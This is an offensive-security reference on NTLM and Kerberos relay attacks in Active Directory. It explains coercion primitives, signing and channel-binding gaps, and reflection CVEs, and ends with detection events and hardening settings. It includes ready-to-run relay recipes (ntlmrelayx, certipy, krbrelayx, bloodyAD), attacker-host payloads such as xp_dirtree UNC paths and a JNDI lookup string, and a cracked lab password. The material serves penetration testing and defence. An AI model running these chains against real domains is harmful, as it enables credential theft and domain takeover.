NTLM & Kerberos Relay Attacks
Authentication relay in Active Directory: how an attacker in-path (or reachable by a coerced client) forwards a victim's SMB / HTTP / LDAP / MSSQL authentication to a different service that treats it as legitimate, plus the coercion primitives that make the victim initiate that authentication in the first place.
NTLM & Kerberos Relay Attacks
Overview
Authentication relay is a family of attacks where a challenge/response exchange the attacker cannot decrypt (NTLM handshake, Kerberos AP-REQ) is forwarded intact to a different service that accepts it. The attacker never learns the plaintext credential; they just proxy the authentication and inherit the resulting session on the target service.
A relay chain has three moving parts:
- A way to make the victim authenticate to us - either an active coercion primitive (RPC call that forces an outbound auth as the machine account) or a passive farming setup (dropped files, DNS/LLMNR poisoning, WebDAV).
- A relay stage (
ntlmrelayx.py,krbrelayx.py) that terminates the incoming authentication and re-opens the same authentication conversation against a chosen target service. - A vulnerable target service whose signing, channel-binding, or SPN-checking configuration lets the relayed authentication through.
The rest of this page is those three parts in order, with the CVEs that reopen historically-closed paths grouped together.
Mechanism
NTLM is challenge/response over any bearer (SMB, HTTP, LDAP, MSSQL, …). It does not bind the handshake to the underlying connection unless the caller opts in with MIC + session signing + channel binding. That is the whole reason it is relayable: the attacker sits between victim V and target T, forwards V’s NEGOTIATE to T, forwards T’s CHALLENGE back to V, forwards V’s AUTHENTICATE (computed with T’s nonce) to T. T accepts. Every NTLM defence is a variation on “bind the handshake to something the attacker cannot forge on the other side” (MIC over the messages, session key sealing subsequent traffic, channel binding token pinning the handshake to the outer TLS cert).
Kerberos AP-REQ is often called “not relayable” because a service ticket names its target SPN in the encrypted body and is encrypted with that target’s long-term key. In practice there are three windows:
- Same-key SPNs on the same account (AnySPN). Any service ticket to
HTTP/hostdecrypts with the same key asCIFS/hostwhen both SPNs are registered on the same account. The client can rewrite thesnamefield, which is not integrity-protected against the client. See AnySPN / sname rewriting. - Reflection to self. If the attacker can make the target authenticate to a name that resolves back to itself (or is tagged as loopback by SSPI), the target’s SMB service accepts an AP-REQ that was minted for its own machine account. See CVE-2025-33073 below.
- HTTP → LDAP via
krbrelayx. Coerce an HTTP client, forward the AP-REQ to LDAP on the DC using an attacker-controlled computer account’s key material to re-sign, use the resulting LDAP session to writemsDS-KeyCredentialLink(Shadow Credentials) ormsDS-AllowedToActOnBehalfOfOtherIdentity(RBCD).
Coercion and farming
Every coercion primitive is an RPC method exposed by a Windows service that takes a UNC path / hostname and calls out to it on behalf of the invoking user, in the machine-account security context. That is what turns the outbound auth into HOST$@DOMAIN.LOCAL.
| Primitive | RPC interface | Notes |
|---|---|---|
| PrinterBug | MS-RPRN | SpoolSS; often off on modern DCs |
| PetitPotam | MS-EFSR / LSARPC | Unauth on unpatched hosts (CVE-2021-36942) |
| DFSCoerce | MS-DFSNM | Needs DFS role present |
| ShadowCoerce | MS-FSRVP | VSS surface; less common |
| Coercer | union of all | Tries every documented method; scan / coerce / fuzz modes |
coerce_plus | union of above | nxc wrapper, quickest first-pass |
The trigger is the same RPC call regardless of scheme, but the outbound authentication is chosen by SSPI on the victim based on the hostname the trigger points at:
- Hostname resolves to your IP but is not a valid SPN → the victim falls back to NTLM →
ntlmrelayx.pydownstream. - Hostname is a valid SPN of a domain-joined machine (typically an attacker-controlled fake computer account added to AD, or a WebDAV-format listener
HOST@PORT/PATHthat forces HTTP) → the victim uses Kerberos →krbrelayx.py.
Farming (passive alternative)
Instead of an RPC coercion, plant a file that will make a user trigger the auth when they browse or open it. Slower but silent. ntlm_theft generates one file per attack variant, all “intended functionality” abuses that reach out to \\attacker\...:
1
python3 ntlm_theft.py -g all -s <attacker> -f '@myfile'
Common categories: .scf / .url / .lnk / desktop.ini (fires on directory listing), .xml (flat-OPC Word) / .docx / .xlsx / .rtf / .pdf (fires on open), .searchConnector-ms (fires WebClient startup on the host, which converts a subsequent coercion from SMB to HTTP - see below). The @ prefix sorts the file to the top of directory listings.
CrackMapExec / nxc modules automate the drop:
-M slinky -o SERVER=<attacker> NAME=<label>- plants.lnkon every writable share.-M drop-sc -o URL=<u> SHARE=<s> FILENAME=<f>- plants a.searchConnector-msfile, which starts the WebClient service on the target host on next browse. That upgrades any later coercion from SMB→NTLM to HTTP→NTLM, unlocking the HTTP → LDAP / ADCS family.-M webdav- reports which hosts on the segment already have WebDAV started.
Injectable interfaces (SQL, LDAP)
An “authentication coercion primitive” doesn’t have to be an RPC method. Any service that (a) takes a caller-supplied URL / UNC / hostname and (b) authenticates outbound to it under a domain identity is a coercion source. The two you meet everywhere:
MSSQL and xp_dirtree (and friends). xp_dirtree is an undocumented master.dbo extended stored procedure that recursively lists the contents of a path. When given a UNC (\\attacker\any), the SQL Server service reaches out over SMB and authenticates as its own service account, which is very often a domain user or a SERVICE-class account. Any authenticated MSSQL session with default permissions can call it: the public role has execute on xp_dirtree on most deployments. Sibling procs with the same behaviour: xp_fileexist, xp_subdirs, xp_getfiledetails. The captured hash is a domain-user NetNTLMv2 that either cracks offline or relays. In the Signed writeup, xp_dirtree \\10.10.14.113\shares\test from an initial low-priv MSSQL foothold caught MSSQLSVC::SIGNED:..., cracked to purPLE9795!@.
The multiplier: SQL injection is a coercion primitive. Any stacked query or subquery that reaches EXEC master.dbo.xp_dirtree N'\\attacker\x' (or EXEC xp_fileexist ...) fires the same outbound auth, no MSSQL credentials required. sqlmap --os-cmd uses this indirectly; a manual UNION or blind-based injection reaches the same primitive if the DBMS is MSSQL and the running principal has the standard public grants. Treat every MSSQL-backed SQLi as an unauthenticated coercion trigger for the SQL service account.
LDAP referrals and JNDI-style injection. Some LDAP client libraries follow ldap:// referral URLs returned by the server. If you can inject into a filter or a base-DN that the app hands to its LDAP client, and the client is configured to chase referrals, pointing the referral at your own rogue LDAP server captures the client’s bind credentials. The related and more common Java case is JNDI injection: an injectable field that ends up in InitialContext.lookup() (log4j / Log4Shell being the canonical example, ${jndi:ldap://attacker/foo}) makes the JVM connect to your LDAP server. That connection is a plain LDAP bind with the app’s service-account credentials; catch it with a Responder-style rogue LDAP daemon and you have a NetNTLMv2 to crack or relay. Same category, different transport: any app that lets a user influence the LDAP server URL it binds to is a coercion source. In practice this is much less mechanical than xp_dirtree, but it applies to every Java web app that queries AD without hard-coding its LDAP endpoint.
Both cases feed the same downstream: ntlmrelayx if you want a session, or Responder / farmer if you want an offline crack.
Targets and protections
Every AD-adjacent protocol has some form of signing, sealing, or channel binding that (when configured) blocks relay. The relay is only as good as the target service’s config.
- SMB.
RequireSecuritySignatureon both peers. When both require signing, the NTLM session key signs every SMB2 message and mid-flight relay breaks signature verification. Signing is required on DCs since Windows 2000. On member servers the wide production estate as of 2026 is stillsigning:Falseby default; Windows 11 Insider builds (June 2023 forward) and Windows 11 24H2 / Server 2025 flipped that on for the first time.crackmapexec smb <cidr> --gen-relay-list relayTargets.txtwrites everysigning:Falsehost to a file, ready forntlmrelayx -tf. - LDAP / LDAPS. LDAP signing (
LDAPServerIntegrity=2) rejects unsigned binds. LDAPS adds channel binding, pinning the auth to the TLS cert. Default posture since March 2020 is “both enabled” via GPO, but many DCs still run “signing allowed but not required” and no channel binding.ntlmrelayxbypasses channel binding by issuingStartTLSinside an existing bind (upgrade plain LDAP to LDAPS mid-flight for the sensitive write). - HTTP. No signing at the HTTP layer. Extended Protection for Authentication (EPA) binds the token to the TLS cert; when off (default in many places, notably ADCS Web Enrollment), relay across TLS boundaries works.
- ADCS Web Enrollment. The reason HTTP-in → HTTP-out is a full compromise path. Ships with EPA disabled on many builds. Relaying to
/certsrv/certfnsh.aspyields a client cert for the impersonated user, which then feeds PKINIT for a permanent credential. - MSSQL. SSPI over TDS, no channel binding.
- WinRM / WinRMS. HTTP variant relayable like plain HTTP; HTTPS depends on server cert and EPA.
The matrix (who accepts what)
Rows are incoming (what you catch), columns are outgoing (what you relay to). Prose form to fit narrow columns:
- SMB in → SMB out, cross-host. Alive whenever the target has signing off and the relayed account is a local admin on it. Auto-dumps SAM.
- SMB in → SMB out, same host (reflection). Dead by default (MS08-068 anti-reflection cookie). Only comes back via a reflection CVE.
- SMB in → LDAP(S) out. Blocked by DC LDAP signing by default. Reopens via CVE-2019-1040 (
--remove-mic) or CVE-2019-1019 (-remove-target). - HTTP in → LDAP(S) out. No signing on the HTTP layer, so this path bypasses the SMB→LDAP block entirely. Preferred whenever WebClient / WebDAV is available on the victim.
- HTTP in → HTTP out (ADCS ESC8). Any unpatched CA with Web Enrollment accepts a relayed NTLM auth on
/certsrv/certfnsh.aspand mints a client cert. - SMB / HTTP in → MSSQL out. Works.
xp_dirtreebecomes a secondary coercion (the SQL service account then auths outbound). - HTTP / SMB in → RPC out (ADCS ESC11). Only Certipy implements MS-ICPR (
certipy relay -target rpc://<CA> -ca "<CA-NAME>"); ntlmrelayx currently supports onlyMS-TSCHfor RPC. - SMB / HTTP in → WinRMS out.
ntlmrelayx -t winrms://<host>works even when the server prints signing warnings. - Kerberos AP-REQ in.
krbrelayx.pyonly, and only with an attacker-controlled computer account whose Kerberos long-term key you know (--krbsalt,--krbpass).
Distinction to keep straight: cross-host relays are a signing / channel-binding question; same-host reflection is a separate class blocked at the SSPI layer.
Reflection attacks
Windows explicitly refuses a machine account authenticating to itself over SMB. The SMB server checks whether the incoming token belongs to its own machine account and drops the session (MS08-068 “anti-reflection cookie”). Historically that made “coerce the DC and relay back to it” a non-starter. Five CVEs, in date order, have each removed one layer:
- CVE-2019-1040 (Drop the MIC). MIC field on AUTHENTICATE was not enforced; ntlmrelayx
--remove-micstrips it and modifies target-SPN AV pairs mid-flight, unblocking SMB → LDAP against unsigned DCs. Scanner:fox-it/cve-2019-1040-scanner. - CVE-2019-1166 (Drop the MIC 2). Second MIC-bypass path that survives 1040’s patch; same practical effect.
- CVE-2019-1019 (Your Session Key is my Session Key). Attacker requests any NTLM session key from the DC via
NetrLogonSamLogonWithFlagsand signs/seals against any server.ntlmrelayx -remove-targetenables it. - CVE-2025-33073 (CredMarshalTargetInfo, CMTI). The current SMB-to-SMB reflection bypass. A hostname whose label ends in a marshalled
CredMarshalTargetInfoblob makes SSPI treat the outbound auth as loopback (skipping the anti-reflection cookie), while DNS returns the attacker’s A record. Coerce, relay to self. Minimal blob from the decoder.cloud PoC:1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, appended to any hostname prefix. Requires DNS write on the zone (bloodyAD add dnsRecord). Reference: decoder.cloud. - CVE-2025-58726 (Ghost SPN). Kerberos-side companion to 33073. Coerce an AP-REQ under a non-
HOST/non-CIFS/SPN and relay from SMB into another protocol (typically LDAP) without needing the CMTI hostname trick.
Practical recipes
Concrete flows tying the pieces above together. All commands assume you already have a working coercion primitive and an attacker-controlled machine.
SMB → SMB, cross-host, mass-dump.
1
2
3
crackmapexec smb 10.0.0.0/24 --gen-relay-list relayTargets.txt
sudo ntlmrelayx.py -tf relayTargets.txt -smb2support
# Any relayed session whose identity is admin on the target: auto SAM dump.
SMB → LDAP → RBCD (needs CVE-2019-1040 unpatched DC).
1
2
3
4
5
sudo ntlmrelayx.py -t ldaps://DOMAIN\\'SQL01$'@DC \
--delegate-access --escalate-user 'attacker$' \
--no-smb-server --no-dump --remove-mic
printerbug.py DOMAIN/user:'pw'@SQL01 attacker@80/print # HTTP coercion
# Consume: getST.py -spn cifs/sql01... -impersonate Administrator ...
HTTP → LDAP → Shadow Credentials. (Needs internal PKI for PKINIT.)
1
2
3
4
5
sudo ntlmrelayx.py -t ldap://DOMAIN\\CJAQ@DC \
--shadow-credentials --shadow-target jperez \
--no-da --no-dump --no-acl --no-smb-server
# Consume: gettgtpkinit.py -cert-pfx <pfx> -pfx-pass <p> DOMAIN/jperez jperez.ccache
# KRB5CCNAME=jperez.ccache evil-winrm -i dc -r DOMAIN
HTTP → HTTP (ADCS ESC8), all-in-one with Certipy.
1
2
3
4
certipy find -enabled -u user@dc -p pw -stdout # confirms ESC8
sudo certipy relay -target http://dc -template Machine
# Coerce the victim in another shell; Certipy hands you the PFX directly.
certipy auth -pfx victim.pfx -dc-ip <dc> # -> NT hash
RPC → RPC (ADCS ESC11), Certipy only.
1
certipy relay -target rpc://dc -ca "DOMAIN-CA"
Same-host reflection via CMTI (CVE-2025-33073).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. DNS write on the zone (needs group like "DNS Operations")
bloodyAD --host $FQDN -d $DOMAIN -u user -p pw \
add dnsRecord localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <attacker-ip>
# 2. Ensure target signing is off (or flip it)
nxc smb <target> # look for signing:False
# 3. Relay listener
sudo ntlmrelayx.py -t smb://<target> -smb2support
# 4. Coerce the target to auth at the CMTI hostname
nxc smb <target> -u user -p pw -M coerce_plus \
-o LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
# -> SAM dump on <target>
Multi-target with SOCKS.
1
2
3
4
sudo ntlmrelayx.py -tf targets.txt -smb2support -socks
# Every relayed identity becomes a proxychainable SOCKS endpoint.
proxychains -q smbclient.py DOM/user@target -no-pass
proxychains -q mssqlclient.py DOM/user@target -windows-auth -no-pass
Kerberos relay via krbrelayx
krbrelayx.py requires an attacker-controlled computer account whose Kerberos long-term key material you know (--krbsalt, --krbpass). It extracts the incoming AP-REQ’s session key using that material, then rebuilds an AP-REQ for a different target SPN encrypted with the target’s key.
The canonical chain (HTTP → LDAP → RBCD) is:
- Prep an attacker computer (
evil$) withTRUSTED_FOR_DELEGATIONset on its UAC. krbrelayx.py --krbsalt 'DOMAINevil' --krbpass '<pw>' --interface-ip <atk>.- Coerce a Kerberos-speaking HTTP client - typical triggers are WebDAV coercion, WSUS, WEC, IIS with Windows Auth.
- Relay to
ldap://dcand writemsDS-AllowedToActOnBehalfOfOtherIdentityonTARGET$. - S4U2Self + S4U2Proxy from
evil$impersonatingAdministratortocifs/TARGET.domain.local. - secretsdump on
TARGET.
For direct ADCS ESC8 over Kerberos: krbrelayx.py --adcs -v 'TARGET$' -t 'https://ca/certsrv/certfnsh.asp'.
Detection and prevention
Detection.
- Event 4624 with Logon Type 3 from an unexpected source IP for a machine account (
SRV$) is the smoking gun for relayed SMB. - Event 5145 on SMB shares logs the requesting IP.
- Event 4776 on the DC when NTLM auth of a machine account occurs from an unusual IP.
- Outbound SMB from a DC to an untrusted IP (should almost never happen) is the coercion tell.
Prevention.
- Enforce SMB signing everywhere. GPO:
Microsoft network server: Digitally sign communications (always) = Enabled, and the client-side twin. - Enforce LDAP signing and channel binding on DCs. GPO:
Domain controller: LDAP server signing requirements = Require signing;LDAP server channel binding token requirements = Required. - Enable EPA on IIS-hosted auth endpoints, especially ADCS Web Enrollment. Registry:
HKLM\SYSTEM\CurrentControlSet\Services\WWW-Auth\ExtendedProtectionTokenChecking = 2. - Remove Web Enrollment from CAs that do not need it. Even with EPA, ADCS-HTTP is an oversized attack surface.
- Patch. CVE-2019-1040 / 1166 / 1019 / 2025-33073 / 2025-58726 all have patches. Missing any of them is single-CVE from a full-domain relay chain.
- Audit
WritePropertyon the DNS zone. Every ADIDNS write is a coercion listener waiting to happen; help-desk-adjacent groups should not have it. - Disable NTLM where possible.
Network security: Restrict NTLM in this domain. Real environments rarely can, but the gradient matters.
Tooling
- Impacket -
ntlmrelayx.py(reference NTLM relay),smbserver.py/smbclient.py/mssqlclient.py(post-relay consumption),getST.py(S4U with delegation results),gettgtpkinit.py/getnthash.py(PKINIT flow after ESC8/ESC11). krbrelayx- Kerberos relay +printerbug.py.- PetitPotam, DFSCoerce, Coercer - coercion primitives.
- NetExec / nxc -
coerce_plus,slinky,drop-sc,webdav,adcsmodules;--gen-relay-listfor target discovery. - bloodyAD -
add dnsRecordfor CMTI listener injection. - Certipy - the only tool that implements MS-ICPR (ESC11) relay; also a one-shot for ESC8.
ntlm_theft- file-format farming toolkit.fox-it/cve-2019-1040-scanner- Drop-the-MIC scanner.